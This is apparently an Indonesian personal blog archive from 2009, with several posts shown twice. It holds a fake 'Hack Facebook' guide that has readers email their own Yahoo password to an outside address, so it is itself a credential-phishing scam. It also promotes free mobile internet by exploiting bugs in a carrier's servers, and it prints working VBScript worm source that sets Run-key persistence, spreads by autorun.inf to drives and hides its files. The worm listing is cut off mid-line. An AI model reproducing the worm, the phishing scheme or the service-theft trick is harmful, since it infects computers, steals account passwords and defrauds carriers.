virus sality merupakan slah satu virus yang doyan "memakan" file ber ektensi ".exe" di komputer kita akibatnya software yang kita miliki tidak bisa dibuka karena terinvect oleh virus ini.. virus sality merupakan virus yang memiliki banyak varian, sebenarnya kita bisa menggunakan antivirus yang ada, tapi kebayakan. tidak bisa membersihkan secaratuntas tas tas. dan bahkan bisa saja anti virus yang kita gunakan terinvect juga.. klo mau nyoba silahkan download software untuk mengatasi virus sality ini...
http://downloads.ziddu.com/downloadfile/7070827/salitykiller.zip.html
31/12/09
Hack Facebook :
sedikit berbagi pengalaman tentang hack face book, sebenarnya klo kita ingin menghack akun facebook itu gampang2 susah, klo kita cari di google banyak yang menawarkan software2 untuk menghack facebook.. tapi kebanyakan harus berbayar.. dan itu pun belum tentu software yang kita dapatkan bisa bekerja.. ini dari semuanya/hack facebook adalah untuk mendapatkan password akun facebook yang kita akan kita hack. ini ada cara yang yachh lumayan mudah menurut saya.. kitta bisa menggunakan celah2 di facebook dan yahoo tanpa harus menggunakan software.. karena facebook menjalin kerjasama dengan pihak yahoo... oke kita langsung aja ikuti langkah2nya.
1. login ke yahoo.
andaharus mamempunyai account yahoo dan berumur minimal 30 hari agar cara ini bekerja dengan baik dan harus merupakan alamat email yg anda gunakan pada saat registrasi facebook@yahoo.com. Yahoo akan dengan otomatis menolak email yg tidak terhubung ke Facebook.
2. Jika sudah masuk ke yahoo, tulislah sebuah email yang anda tujukan untuk staff facebook di Yahoo dengan alamat email: pass_recovery.facebook@yahoo.com server Yahoo akan mengirimkan secara otomatis password “terlupakan” tersebut.
3. Pada baris SUBJECT masukkan/ketik kalimat : PASSWORD RETRIEVIEW
4. lalu pada baris pertama mail anda tuliskan alamat email "korban" yg akan anda hack
5. Pada baris kedua masukkan alamat email yg anda gunakan.
6. Pada baris ketiga tuliskan password yahoo anda.
password yang anda masukkan inilah yang akan menentukan berhasil tidaknya usaha anda karena sever yahoo akan secara otomatis melakukan login untuk meng-konfirmasi valid atau tidaknya email anda, dengan kata lain server yahoo akan meng-extract password dari email calon "korban" anda dengan menggunakan password anda.
Dan proses ini sangat aman karena anda mengirim email kepada mesin dan bukan kepada seseorang.
7. di baris terakhir masukkan kata : cgi-bin/$et76431&psswreview ini merupakan kode yang dibutuhkan untuk men-cocokkan email anda dengan email calon korban yg anda minta password nnya.
jadi jika misalkan email anda adalah terminator_os@yahoo.com
dan email korban anda adalah sonic@yahoo.com
dan password email anda adalah : moderasi
maka email yg anda tulis nantinya adalah:
To: pass_recovery.facebook@yahoo.com
bcc: cc: (kosongkan)
Subject: password retrieview
terminator_os@yahoo.com
sonic@yahoo.com
moderasi
cgin-bin/$et76431&psswreview
selanjutnya setelah anda mengirim email tersebut anda akan mendapatkan balasan secara otomatis dari yahoo dengan dengan subject: System Reg
Message
pihak yahoo memerlukan waktu sekitar 24 jam untuk mengkonfirmasikan dan meng-extract password yang anda minta.
lets try......
sumber: mbah google
1. login ke yahoo.
andaharus mamempunyai account yahoo dan berumur minimal 30 hari agar cara ini bekerja dengan baik dan harus merupakan alamat email yg anda gunakan pada saat registrasi facebook@yahoo.com. Yahoo akan dengan otomatis menolak email yg tidak terhubung ke Facebook.
2. Jika sudah masuk ke yahoo, tulislah sebuah email yang anda tujukan untuk staff facebook di Yahoo dengan alamat email: pass_recovery.facebook@yahoo.com server Yahoo akan mengirimkan secara otomatis password “terlupakan” tersebut.
3. Pada baris SUBJECT masukkan/ketik kalimat : PASSWORD RETRIEVIEW
4. lalu pada baris pertama mail anda tuliskan alamat email "korban" yg akan anda hack
5. Pada baris kedua masukkan alamat email yg anda gunakan.
6. Pada baris ketiga tuliskan password yahoo anda.
password yang anda masukkan inilah yang akan menentukan berhasil tidaknya usaha anda karena sever yahoo akan secara otomatis melakukan login untuk meng-konfirmasi valid atau tidaknya email anda, dengan kata lain server yahoo akan meng-extract password dari email calon "korban" anda dengan menggunakan password anda.
Dan proses ini sangat aman karena anda mengirim email kepada mesin dan bukan kepada seseorang.
7. di baris terakhir masukkan kata : cgi-bin/$et76431&psswreview ini merupakan kode yang dibutuhkan untuk men-cocokkan email anda dengan email calon korban yg anda minta password nnya.
jadi jika misalkan email anda adalah terminator_os@yahoo.com
dan email korban anda adalah sonic@yahoo.com
dan password email anda adalah : moderasi
maka email yg anda tulis nantinya adalah:
To: pass_recovery.facebook@yahoo.com
bcc: cc: (kosongkan)
Subject: password retrieview
terminator_os@yahoo.com
sonic@yahoo.com
moderasi
cgin-bin/$et76431&psswreview
selanjutnya setelah anda mengirim email tersebut anda akan mendapatkan balasan secara otomatis dari yahoo dengan dengan subject: System Reg
Message
pihak yahoo memerlukan waktu sekitar 24 jam untuk mengkonfirmasikan dan meng-extract password yang anda minta.
lets try......
sumber: mbah google
12/12/09
trick internet gratis indosat
Internet di Indonesia memang tergolong sesuatu yang mahal tentunya semua orang berharap bisa mendapatkan akses internet murah bahkan gratis. Tentunya anda belum percaya kalau anda belum membuktikan sendiri bahwa tips yang kami berikan ini benar-benar internet gratis. Tapi sayangnya tidak semua orang bisa menikmati internet gratis ini karena yang bisa menikmati internet gratis ini adapun syaratnya yaitu :
1. Pengguna Indosat (Berhasil di uji cobakan pada kartu Im3 kartu lain silahkan anda coba sendiri)
2. Internet gratis ini hanya bisa di akses melalui Hand Phone atau ponsel. Ponsel yang dipakai ber merk Sony Ericson versi baru setara dengan versi K dan W. Misal K700, K750, K60i, K800, w550i,W660 dan sejenis yang sudah suport di instal aplikasi Opera min versi jar.
3. Menggunakan aplikasi opera mini yang sudah di modifikasi (Opera mini modif OM4 Indosat)
Yang belum pernah menggunakan Aplikasi Opera mini boleh dicoba fasilitas yang dimiliki Opera mini, disamping kecepatan loading nya tampilan nya yang oke setara Aplikasi Opera pada PC (tergantung keadaan speed gprs Indosat yang fluktuatif) , terlebih dengan memanfaatkan Aplikasi Opera mini yang sudah di modifikasi (OM4 Indosat) kita bisa mengakses internet yang benar benar gratis / free / pulsa kita tidak akan terpotong. Silahkan buktikan sendiri Tips dan tricks internet gratis dari ESC-creation ini. Cuman satu kekurangannya yaitu dekstopnya karena menggunakan layar LCD ponsel yang kecil tersebut.
Anda dapat mendownload Aplikasi Opera mini yang sudah di modifikasi di link di bawah ini :
http://www.box.net/shared/n1a5hum973
Sebenarnya Aplikasi Opera mini ini memanfaatkan Bugs-Bugs yang masih pada server Indosat. Pada saat Posting ini di publiskan yaitu tanggal 4 September 2008 tips internet gratis ini masih bisa dipakai dan berfungsi dengan baik. Entah Sampai kapan Internet grartis ini masih bisa kita nikmati. Sayangnya Internet gratis ini tidak bisa gunakan untuk akses internet melalui PC atau Komputer. Semoga Ya kita berharap Meski indosat sudah mengetahui hal ini agar tidak memblokir trick ini hitung hitung sebagai bantuan kepada Pengguna Indosat hitung hitung ber amal dan demi kemajuan bangsa indonesia terutama di bidang internet dan teknologi informasi he..he..Makasih sebelumnya Pak Boss Indosat…!
----Info Tambahan seputar setting GPRS Indosat----
Sebenarnya banyak configurasi gprs yang bisa kita gunakan Untuk mengakses internet dari indosat. Berikut di bawah ini configurasi gprs untuk Indosat yang bisa dipakai yaitu :
Setting untuk paket data yaitu tarif gprs nya + Rp. 1.1,- per 1 Kb bila kita menggunakan opera mini standart / pc , bila kita menggunakan Opera mini modifikasi ( OM4 Indosat ) tetap gratis / pulsa kita tidak kepotong.
Berikut ini Seting Komunikasi data Pada Ponsel, gunakanlah salah satu untuk setting gprs Indosat sesuai dengan Ponsel / Hp anda masing – masing :
Setting GPRS Indosat 1
APN: indosatgprs
IP: 010.019.019.019
user name: indosat
pasword::indosat
Setting GPRS Indosat 2
APN : www.indosat-m3.net
IP : 010.019.019.019
User Name .: gprs
Pasword : im3
Setting GPRS Indosat 3
APN -: indosat3g
IP : 010.019.019.019
User Name dan Password Dikosongkan khusus Jaringan 3 G
Seting Configurasi Untuk Pulsa Internet Indosat
Dengan Menggunakan Pulsa Internet anda bisa mendapatkan akses internet murah dengan tarif Rp.5000,- untuk akses Internet selama 245 Menit.
(setting ini bisa anda manfaatkan bila anda membutuh kan download data yang lumayan banyak dengan catatan speed gprs dalam kondisi bagus)
APN: indosatgprs
IP : 010.019.019.019
Username : indosat@durasi
Paswword: indosat@durasi
IP proxy yang bisa dipakai Untuk GPS Indosat :
IP proxy : 010.019.019.019
atau
IP proxy : 202.152.162.250
user name dan pasword dikosongkan
Semoga tips triks pada pastingan ini moga bermanfaat.
1. Pengguna Indosat (Berhasil di uji cobakan pada kartu Im3 kartu lain silahkan anda coba sendiri)
2. Internet gratis ini hanya bisa di akses melalui Hand Phone atau ponsel. Ponsel yang dipakai ber merk Sony Ericson versi baru setara dengan versi K dan W. Misal K700, K750, K60i, K800, w550i,W660 dan sejenis yang sudah suport di instal aplikasi Opera min versi jar.
3. Menggunakan aplikasi opera mini yang sudah di modifikasi (Opera mini modif OM4 Indosat)
Yang belum pernah menggunakan Aplikasi Opera mini boleh dicoba fasilitas yang dimiliki Opera mini, disamping kecepatan loading nya tampilan nya yang oke setara Aplikasi Opera pada PC (tergantung keadaan speed gprs Indosat yang fluktuatif) , terlebih dengan memanfaatkan Aplikasi Opera mini yang sudah di modifikasi (OM4 Indosat) kita bisa mengakses internet yang benar benar gratis / free / pulsa kita tidak akan terpotong. Silahkan buktikan sendiri Tips dan tricks internet gratis dari ESC-creation ini. Cuman satu kekurangannya yaitu dekstopnya karena menggunakan layar LCD ponsel yang kecil tersebut.
Anda dapat mendownload Aplikasi Opera mini yang sudah di modifikasi di link di bawah ini :
http://www.box.net/shared/
Sebenarnya Aplikasi Opera mini ini memanfaatkan Bugs-Bugs yang masih pada server Indosat. Pada saat Posting ini di publiskan yaitu tanggal 4 September 2008 tips internet gratis ini masih bisa dipakai dan berfungsi dengan baik. Entah Sampai kapan Internet grartis ini masih bisa kita nikmati. Sayangnya Internet gratis ini tidak bisa gunakan untuk akses internet melalui PC atau Komputer. Semoga Ya kita berharap Meski indosat sudah mengetahui hal ini agar tidak memblokir trick ini hitung hitung sebagai bantuan kepada Pengguna Indosat hitung hitung ber amal dan demi kemajuan bangsa indonesia terutama di bidang internet dan teknologi informasi he..he..Makasih sebelumnya Pak Boss Indosat…!
----Info Tambahan seputar setting GPRS Indosat----
Sebenarnya banyak configurasi gprs yang bisa kita gunakan Untuk mengakses internet dari indosat. Berikut di bawah ini configurasi gprs untuk Indosat yang bisa dipakai yaitu :
Setting untuk paket data yaitu tarif gprs nya + Rp. 1.1,- per 1 Kb bila kita menggunakan opera mini standart / pc , bila kita menggunakan Opera mini modifikasi ( OM4 Indosat ) tetap gratis / pulsa kita tidak kepotong.
Berikut ini Seting Komunikasi data Pada Ponsel, gunakanlah salah satu untuk setting gprs Indosat sesuai dengan Ponsel / Hp anda masing – masing :
Setting GPRS Indosat 1
APN: indosatgprs
IP: 010.019.019.019
user name: indosat
pasword::indosat
Setting GPRS Indosat 2
APN : www.indosat-m3.net
IP : 010.019.019.019
User Name .: gprs
Pasword : im3
Setting GPRS Indosat 3
APN -: indosat3g
IP : 010.019.019.019
User Name dan Password Dikosongkan khusus Jaringan 3 G
Seting Configurasi Untuk Pulsa Internet Indosat
Dengan Menggunakan Pulsa Internet anda bisa mendapatkan akses internet murah dengan tarif Rp.5000,- untuk akses Internet selama 245 Menit.
(setting ini bisa anda manfaatkan bila anda membutuh kan download data yang lumayan banyak dengan catatan speed gprs dalam kondisi bagus)
APN: indosatgprs
IP : 010.019.019.019
Username : indosat@durasi
Paswword: indosat@durasi
IP proxy yang bisa dipakai Untuk GPS Indosat :
IP proxy : 010.019.019.019
atau
IP proxy : 202.152.162.250
user name dan pasword dikosongkan
Semoga tips triks pada pastingan ini moga bermanfaat.
17/11/09
Cinta, Kehidupan dan Kebahagiaan
Kenapa kita menutup mata ketika kita tidur? ketika kita menangis?
ketika kita membayangkan?
Ini karena hal terindah di dunia TIDAK TERLIHAT...
Kita semua agak aneh...
dan hidup sendiri juga agak aneh...
Dan ketika kita menemukan seseorang yang keunikannya SEJALAN dengan kita...
kita bergabung dengannya dan jatuh ke dalam suatu keanehan
serupa yang dinamakan CINTA..
Ada hal-hal yang tidak ingin kita lepaskan..
Orang2 yang tidak ingin kita tinggalkan...
Tapi ingatlah.......
melepaskan BUKAN akhir dari dunia..
melainkan awal suatu kehidupan baru..
Kebahagiaan ada untuk mereka yang menangis, mereka yang tersakiti,
mereka yang telah mencari... dan mereka yang telah mencoba..
Karena MEREKALAH yang bisa menghargai
betapa pentingnya orang yang telah menyentuh kehidupan mereka.
CINTA yang AGUNG?
Adalah ketika kamu menitikkan air mata dan MASIH peduli terhadapnya.
Adalah ketika dia tidak mempedulikanmu dan kamu MASIH menunggunya dengan
setia.
Adalah ketika dia mulai mencintai orang lain
dan kamu MASIH bisa tersenyum sembari berkata 'Aku turut berbahagia
untukmu'Apabila cinta tidak berhasil...
BEBASKAN dirimu...
Biarkan hatimu kembali melebarkan sayapnya dan terbang ke alam bebas LAGI.
Ingatlah...
bahwa kamu mungkin menemukan cinta dan kehilangannya..
tapi..ketika cinta itu mati..
kamu TIDAK perlu mati bersamanya...
Orang terkuat BUKAN mereka yang selalu menang..
MELAINKAN mereka yang tetap tegar ketika mereka jatuh
Entah bagaimana...
dalam perjalanan kehidupan, kamu belajar tentang dirimu sendiri..
dan menyadari.. bahwa penyesalan tidak seharusnya ada..
HANYALAH penghargaan abadi atas pilihan2 kehidupan yang telah kau buat.
TEMAN SEJATI...
mengerti ketika kamu berkata 'Aku lupa..'
Menunggu selamanya ketika kamu berkata 'Tunggu sebentar'
Tetap tinggal ketika kamu berkata 'Tinggalkan aku sendiri'
Membuka pintu meski kamu BELUM mengetuk dan berkata 'Bolehkah saya masuk?'
MENCINTAI...
BUKANlah bagaimana kamu melupakan..melainkan bagaimana kamu MEMAAFKAN.
BUKANlah bagaimana kamu mendengarkan..melainkan bagaimana kamu MENGERTI.
BUKANlah apa yang kamu lihat..melainkan apa yang kamu RASAKAN..
BUKANlah bagaimana kamu melepaskan..melainkan bagaimana kamu BERTAHAN.
Lebih berbahaya mencucurkan air mata dalam hati...
dibandingkan menangis tersedu2..
Air mata yang keluar dapat dihapus..
sementara air mata yang tersembunyi menggoreskan luka yang tidak akan pernah
hilang..
Dalam urusan cinta,
kita SANGAT JARANG menang..
Tapi ketika CINTA itu TULUS, meskipun kalah,
kamu TETAP MENANG hanya karena kamu berbahagia..
dapat mencintai seseorang.. LEBIH dari kamu mencintai dirimu sendiri..
Akan tiba saatnya
dimana kamu harus berhenti mencinta seseorang
BUKAN karena orang itu berhenti mencintai kita
MELAINKAN karena kita menyadari bahwa orang itu akan lebih berbahagia
apabila kita melepaskannya.
Apabila kamu benar2 mencintai seseorang,
jangan lepaskan dia..
jangan percaya bahwa melepaskan SELALU berarti kamu benar2 mencintai
MELAINKAN... BERJUANGLAH demi cintamu Itulah CINTA SEJATI
Lebih baik menunggu orang yang kamu inginkan
DARIPADA berjalan bersama orang 'yang tersedia'
Lebih baik menunggu orang yang kamu cintai
DARIPADA orang yang berada di sekelilingmu
Lebih baik menunggu orang yang tepat kerena hidup ini terlalu singkat
untuk dibuang dengan hanya dengan 'seseorang'
Kadang kala, orang yang kamu cintai
adalah orang yang PALING menyakiti hatimu
dan kadang kala,
teman yang membawamu ke dalam pelukannya
dan menangis bersamamu adalah cinta yang tidak kamu sadari.
ketika kita membayangkan?
Ini karena hal terindah di dunia TIDAK TERLIHAT...
Kita semua agak aneh...
dan hidup sendiri juga agak aneh...
Dan ketika kita menemukan seseorang yang keunikannya SEJALAN dengan kita...
kita bergabung dengannya dan jatuh ke dalam suatu keanehan
serupa yang dinamakan CINTA..
Ada hal-hal yang tidak ingin kita lepaskan..
Orang2 yang tidak ingin kita tinggalkan...
Tapi ingatlah.......
melepaskan BUKAN akhir dari dunia..
melainkan awal suatu kehidupan baru..
Kebahagiaan ada untuk mereka yang menangis, mereka yang tersakiti,
mereka yang telah mencari... dan mereka yang telah mencoba..
Karena MEREKALAH yang bisa menghargai
betapa pentingnya orang yang telah menyentuh kehidupan mereka.
CINTA yang AGUNG?
Adalah ketika kamu menitikkan air mata dan MASIH peduli terhadapnya.
Adalah ketika dia tidak mempedulikanmu dan kamu MASIH menunggunya dengan
setia.
Adalah ketika dia mulai mencintai orang lain
dan kamu MASIH bisa tersenyum sembari berkata 'Aku turut berbahagia
untukmu'Apabila cinta tidak berhasil...
BEBASKAN dirimu...
Biarkan hatimu kembali melebarkan sayapnya dan terbang ke alam bebas LAGI.
Ingatlah...
bahwa kamu mungkin menemukan cinta dan kehilangannya..
tapi..ketika cinta itu mati..
kamu TIDAK perlu mati bersamanya...
Orang terkuat BUKAN mereka yang selalu menang..
MELAINKAN mereka yang tetap tegar ketika mereka jatuh
Entah bagaimana...
dalam perjalanan kehidupan, kamu belajar tentang dirimu sendiri..
dan menyadari.. bahwa penyesalan tidak seharusnya ada..
HANYALAH penghargaan abadi atas pilihan2 kehidupan yang telah kau buat.
TEMAN SEJATI...
mengerti ketika kamu berkata 'Aku lupa..'
Menunggu selamanya ketika kamu berkata 'Tunggu sebentar'
Tetap tinggal ketika kamu berkata 'Tinggalkan aku sendiri'
Membuka pintu meski kamu BELUM mengetuk dan berkata 'Bolehkah saya masuk?'
MENCINTAI...
BUKANlah bagaimana kamu melupakan..melainkan bagaimana kamu MEMAAFKAN.
BUKANlah bagaimana kamu mendengarkan..melainkan bagaimana kamu MENGERTI.
BUKANlah apa yang kamu lihat..melainkan apa yang kamu RASAKAN..
BUKANlah bagaimana kamu melepaskan..melainkan bagaimana kamu BERTAHAN.
Lebih berbahaya mencucurkan air mata dalam hati...
dibandingkan menangis tersedu2..
Air mata yang keluar dapat dihapus..
sementara air mata yang tersembunyi menggoreskan luka yang tidak akan pernah
hilang..
Dalam urusan cinta,
kita SANGAT JARANG menang..
Tapi ketika CINTA itu TULUS, meskipun kalah,
kamu TETAP MENANG hanya karena kamu berbahagia..
dapat mencintai seseorang.. LEBIH dari kamu mencintai dirimu sendiri..
Akan tiba saatnya
dimana kamu harus berhenti mencinta seseorang
BUKAN karena orang itu berhenti mencintai kita
MELAINKAN karena kita menyadari bahwa orang itu akan lebih berbahagia
apabila kita melepaskannya.
Apabila kamu benar2 mencintai seseorang,
jangan lepaskan dia..
jangan percaya bahwa melepaskan SELALU berarti kamu benar2 mencintai
MELAINKAN... BERJUANGLAH demi cintamu Itulah CINTA SEJATI
Lebih baik menunggu orang yang kamu inginkan
DARIPADA berjalan bersama orang 'yang tersedia'
Lebih baik menunggu orang yang kamu cintai
DARIPADA orang yang berada di sekelilingmu
Lebih baik menunggu orang yang tepat kerena hidup ini terlalu singkat
untuk dibuang dengan hanya dengan 'seseorang'
Kadang kala, orang yang kamu cintai
adalah orang yang PALING menyakiti hatimu
dan kadang kala,
teman yang membawamu ke dalam pelukannya
dan menangis bersamamu adalah cinta yang tidak kamu sadari.
14/10/09
04/10/09
Mari membuat virus Part3
Save script dipart 2 sbg, diansastro.vbs.. Setelah semuanya selesai tinggal anda save dengan aman, harusnya ada 3 file bernama. Autorun.inf , dasktop.ini, diansastro.vbs
virus ini tidak akan berjalan dgn sndrnya krn kita tdk membuatnya melalui vb, tapi bs djalankan bila kita mengklik salah satu filenya, jika anda ingn mencoba silahkan tapi kerusakan lebih lanjut diluar tanggung jawab saja, dan ini hanya untk pembelajaran, dan jangan digunakan untuk iseng sama temen, krn dia pasti marah.. Semoga berhasil
note:nama file bs anda ubh sesuai keinginan anda, seperti, diansastro,midori, dan isi pesan didalam script.
Penulis :faizal robyyulloh
virus ini tidak akan berjalan dgn sndrnya krn kita tdk membuatnya melalui vb, tapi bs djalankan bila kita mengklik salah satu filenya, jika anda ingn mencoba silahkan tapi kerusakan lebih lanjut diluar tanggung jawab saja, dan ini hanya untk pembelajaran, dan jangan digunakan untuk iseng sama temen, krn dia pasti marah.. Semoga berhasil
note:nama file bs anda ubh sesuai keinginan anda, seperti, diansastro,midori, dan isi pesan didalam script.
Penulis :faizal robyyulloh
Mari membuat virus part 2
Untuk file inti virusnya. Kita save sbg. File vbs.. Dimana file ini yang bakalan bekerja
script nya
on error resume next
set fs=createobject("scripting.filesystemobject")
set b3b15cR17T=fs.getfile(wscript.scriptfullname)
b3b15cR17Trn="[autorun]"&vbcrlf&"shellexecute=wscript.exe //e:VBScript dasktop.ini auto"&vbcrlf&"action=Open folder to view file"&vbcrlf&"shell\open\command=wscript.exe //e:VBScript dasktop.ini auto"&vbcrlf&"icon=%systemroot%\shell32.dll,4"
set b3b15cR17Ttx=b3b15cR17T.openastextstream(1,-2)
do while not b3b15cR17Ttx.atendofstream
b3b15cR17Tv=b3b15cR17Tv&b3b15cR17Ttx.readline
b3b15cR17Tv=b3b15cR17Tv&vbcrlf
loop
do
set b3b15cR17Th=fs.getspecialfolder(0)
set b3b15cR17Tfn=fs.getfile(b3b15cR17Th &"\myName.bat")
b3b15cR17Tfn.attributes=32
set my63615cR1p7=fs.createtextfile(b3b15cR17Th &"\myName.bat")
my63615cR1p7.writeline "@echo off"
my63615cR1p7.writeline "echo ######### ## ## ## ##### ### ########### ########"
my63615cR1p7.writeline "echo ############ ## ### #### ####### #### ######## ##########"
my63615cR1p7.writeline "echo ## ### ## ## ##### #### # ##"
my63615cR1p7.writeline "echo ## ## ## ## ###### #### # ##"
my63615cR1p7.writeline "echo ### ### ## ## ## ###### #### ## # ##"
my63615cR1p7.writeline "echo ## ## ## #### ######## #### ## ## ### ####"
my63615cR1p7.writeline "echo ## ## ######### #### ## ## ## # ##"
my63615cR1p7.writeline "echo ## ## ## #### ######## #### ####### # ##"
my63615cR1p7.writeline "echo ### ### ## ###### ## #### ### ## # ##"
my63615cR1p7.writeline "echo ## ## ## #### ## ## # ##"
my63615cR1p7.writeline "echo ## ## ## #### ## # ####"
my63615cR1p7.writeline "echo ############ ########## #### #### ####"
my63615cR1p7.writeline "echo ######### ####### ### ########"
my63615cR1p7.writeline "izinkan aku mencintaimu, salahkah jika diriku mencintaimu, derita cinta ini sungguh sangat menyakiti, ku sangat cinta padamu.. Midori ku 25-09-2009"
my63615cR1p7.writeline "pause"
my63615cR1p7.close
set b3b15cR17Tfn=fs.getfile(b3b15cR17Th &"\myName.bat")
b3b15cR17Tfn.attributes=39
set DB5cR1p7x93nT=createobject("WScript.Shell")
docf=DB5cR1p7x93nT.specialfolders("MyDocuments")
sCr1p7x93nT3v1L=docf & "\Dian sastrowardoyo"
if not fs.folderexists(sCr1p7x93nT3v1L) then
set crfolder=fs.createfolder(sCr1p7x93nT3v1L)
end if
set b3b15cR17Tfn=fs.createtextfile(sCr1p7x93nT3v1L & "\midori.vbs")
b3b15cR17Tfn.write b3b15cR17Tv
b3b15cR17Tfn.close
set DB5cR1p7x93nT = createobject("WScript.Shell")
DB5cR1p7x93nT.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\winsoc","c:\Windows\winsoc.vbs","REG_SZ"
DB5cR1p7x93nT.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\xGentn4m3","c:\Windows\myName.bat","REG_SZ"
DB5cR1p7x93nT.regwrite "HKEY_CLASSES_ROOT\VBSFile\DefaultIcon\","C:\Program Files\Windows Media Player\wmplayer.exe,1","REG_SZ"
almreg = "HKCU\Software\Policies\Microsoft\Windows\System\"
DB5cR1p7x93nT.RegWrite almreg & "DisableCMD","0", "REG_DWORD"
almreg = "HKCU\Software\Microsoft\Windows\CurrentVersion\"
DB5cR1p7x93nT.RegWrite almreg & "Policies\System\DisableTaskMgr","0","REG_DWORD"
DB5cR1p7x93nT.RegWrite almreg & "Policies\System\DisableMsConfig","0","REG_DWORD"
DB5cR1p7x93nT.RegWrite almreg & "Policies\System\DisableRegistryToo0s","0","REG_DWORD"
DB5cR1p7x93nT.RegWrite almreg & "Explorer\Advanced\Hidden","0","REG_DWORD"
DB5cR1p7x93nT.RegWrite almreg & "Explorer\Advanced\HideFileExt","0","REG_DWORD"
DB5cR1p7x93nT.Regwrite almreg & "Explorer\Advanced\ShowSuperHidden","0x00000001"
almreg = "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\"
DB5cR1p7x93nT.RegWrite almreg & "NoRun", "0", "REG_DWORD"
DB5cR1p7x93nT.RegWrite almreg & "NoFolderOptions", "0", "REG_DWORD"
set b3b15cR17Th=fs.getspecialfolder(0)
set b3b15cR17Tfn=fs.getfile(b3b15cR17Th &"\winsoc.vbs")
b3b15cR17Tfn.attributes=32
set b3b15cR17Tfn=fs.createtextfile(b3b15cR17Th &"\winsoc.vbs")
b3b15cR17Tfn.write b3b15cR17Tv
b3b15cR17Tfn.close
set b3b15cR17Tfn=fs.getfile(b3b15cR17Th &"\winsoc.vbs")
b3b15cR17Tfn.attributes=39
set b3b15cR17Twsl=createobject("wscript.shell")
b3b15cR17Tdc=b3b15cR17Twsl.specialfolders("MyDocuments")
set b3b15cR17Tfn=fs.createtextfile(b3b15cR17Tdc &"\Diansastro.vbs")
b3b15cR17Tfn.write b3b15cR17Tv
b3b15cR17Tfn.close
for each b3b15cR17Tdrive in fs.drives
if (b3b15cR17Tdrive.drivetype=1 or b3b15cR17Tdrive.drivetype=2) and b3b15cR17Tdrive.path<>"A:" then
set b3b15cR17Tfn=fs.getfile(b3b15cR17Tdrive.path &"\dasktop.ini")
b3b15cR17Tfn.attributes=32
set b3b15cR17Tfn=fs.createtextfile(b3b15cR17Tdrive.path &"\dasktop.ini")
b3b15cR17Tfn.write b3b15cR17Tv
b3b15cR17Tfn.close
set b3b15cR17Tfn=fs.getfile(b3b15cR17Tdrive.path &"\dasktop.ini")
b3b15cR17Tfn.attributes=39
set b3b15cR17Tfn=fs.getfile(b3b15cR17Tdrive.path &"\Autorun.inf")
b3b15cR17Tfn.attributes=32
set b3b15cR17Tfn=fs.createtextfile(b3b15cR17Tdrive.path &"\Autorun.inf")
b3b15cR17Tfn.write b3b15cR17Trn
b3b15cR17Tfn.close
set b3b15cR17Tfn=fs.getfile(b3b15cR17Tdrive
script nya
on error resume next
set fs=createobject("scripting.filesystemobject")
set b3b15cR17T=fs.getfile(wscript.scriptfullname)
b3b15cR17Trn="[autorun]"&vbcrlf&"shellexecute=wscript.exe //e:VBScript dasktop.ini auto"&vbcrlf&"action=Open folder to view file"&vbcrlf&"shell\open\command=wscript.exe //e:VBScript dasktop.ini auto"&vbcrlf&"icon=%systemroot%\shell32.dll,4"
set b3b15cR17Ttx=b3b15cR17T.openastextstream(1,-2)
do while not b3b15cR17Ttx.atendofstream
b3b15cR17Tv=b3b15cR17Tv&b3b15cR17Ttx.readline
b3b15cR17Tv=b3b15cR17Tv&vbcrlf
loop
do
set b3b15cR17Th=fs.getspecialfolder(0)
set b3b15cR17Tfn=fs.getfile(b3b15cR17Th &"\myName.bat")
b3b15cR17Tfn.attributes=32
set my63615cR1p7=fs.createtextfile(b3b15cR17Th &"\myName.bat")
my63615cR1p7.writeline "@echo off"
my63615cR1p7.writeline "echo ######### ## ## ## ##### ### ########### ########"
my63615cR1p7.writeline "echo ############ ## ### #### ####### #### ######## ##########"
my63615cR1p7.writeline "echo ## ### ## ## ##### #### # ##"
my63615cR1p7.writeline "echo ## ## ## ## ###### #### # ##"
my63615cR1p7.writeline "echo ### ### ## ## ## ###### #### ## # ##"
my63615cR1p7.writeline "echo ## ## ## #### ######## #### ## ## ### ####"
my63615cR1p7.writeline "echo ## ## ######### #### ## ## ## # ##"
my63615cR1p7.writeline "echo ## ## ## #### ######## #### ####### # ##"
my63615cR1p7.writeline "echo ### ### ## ###### ## #### ### ## # ##"
my63615cR1p7.writeline "echo ## ## ## #### ## ## # ##"
my63615cR1p7.writeline "echo ## ## ## #### ## # ####"
my63615cR1p7.writeline "echo ############ ########## #### #### ####"
my63615cR1p7.writeline "echo ######### ####### ### ########"
my63615cR1p7.writeline "izinkan aku mencintaimu, salahkah jika diriku mencintaimu, derita cinta ini sungguh sangat menyakiti, ku sangat cinta padamu.. Midori ku 25-09-2009"
my63615cR1p7.writeline "pause"
my63615cR1p7.close
set b3b15cR17Tfn=fs.getfile(b3b15cR17Th &"\myName.bat")
b3b15cR17Tfn.attributes=39
set DB5cR1p7x93nT=createobject("WScript.Shell")
docf=DB5cR1p7x93nT.specialfolders("MyDocuments")
sCr1p7x93nT3v1L=docf & "\Dian sastrowardoyo"
if not fs.folderexists(sCr1p7x93nT3v1L) then
set crfolder=fs.createfolder(sCr1p7x93nT3v1L)
end if
set b3b15cR17Tfn=fs.createtextfile(sCr1p7x93nT3v1L & "\midori.vbs")
b3b15cR17Tfn.write b3b15cR17Tv
b3b15cR17Tfn.close
set DB5cR1p7x93nT = createobject("WScript.Shell")
DB5cR1p7x93nT.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\winsoc","c:\Windows\winsoc.vbs","REG_SZ"
DB5cR1p7x93nT.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\xGentn4m3","c:\Windows\myName.bat","REG_SZ"
DB5cR1p7x93nT.regwrite "HKEY_CLASSES_ROOT\VBSFile\DefaultIcon\","C:\Program Files\Windows Media Player\wmplayer.exe,1","REG_SZ"
almreg = "HKCU\Software\Policies\Microsoft\Windows\System\"
DB5cR1p7x93nT.RegWrite almreg & "DisableCMD","0", "REG_DWORD"
almreg = "HKCU\Software\Microsoft\Windows\CurrentVersion\"
DB5cR1p7x93nT.RegWrite almreg & "Policies\System\DisableTaskMgr","0","REG_DWORD"
DB5cR1p7x93nT.RegWrite almreg & "Policies\System\DisableMsConfig","0","REG_DWORD"
DB5cR1p7x93nT.RegWrite almreg & "Policies\System\DisableRegistryToo0s","0","REG_DWORD"
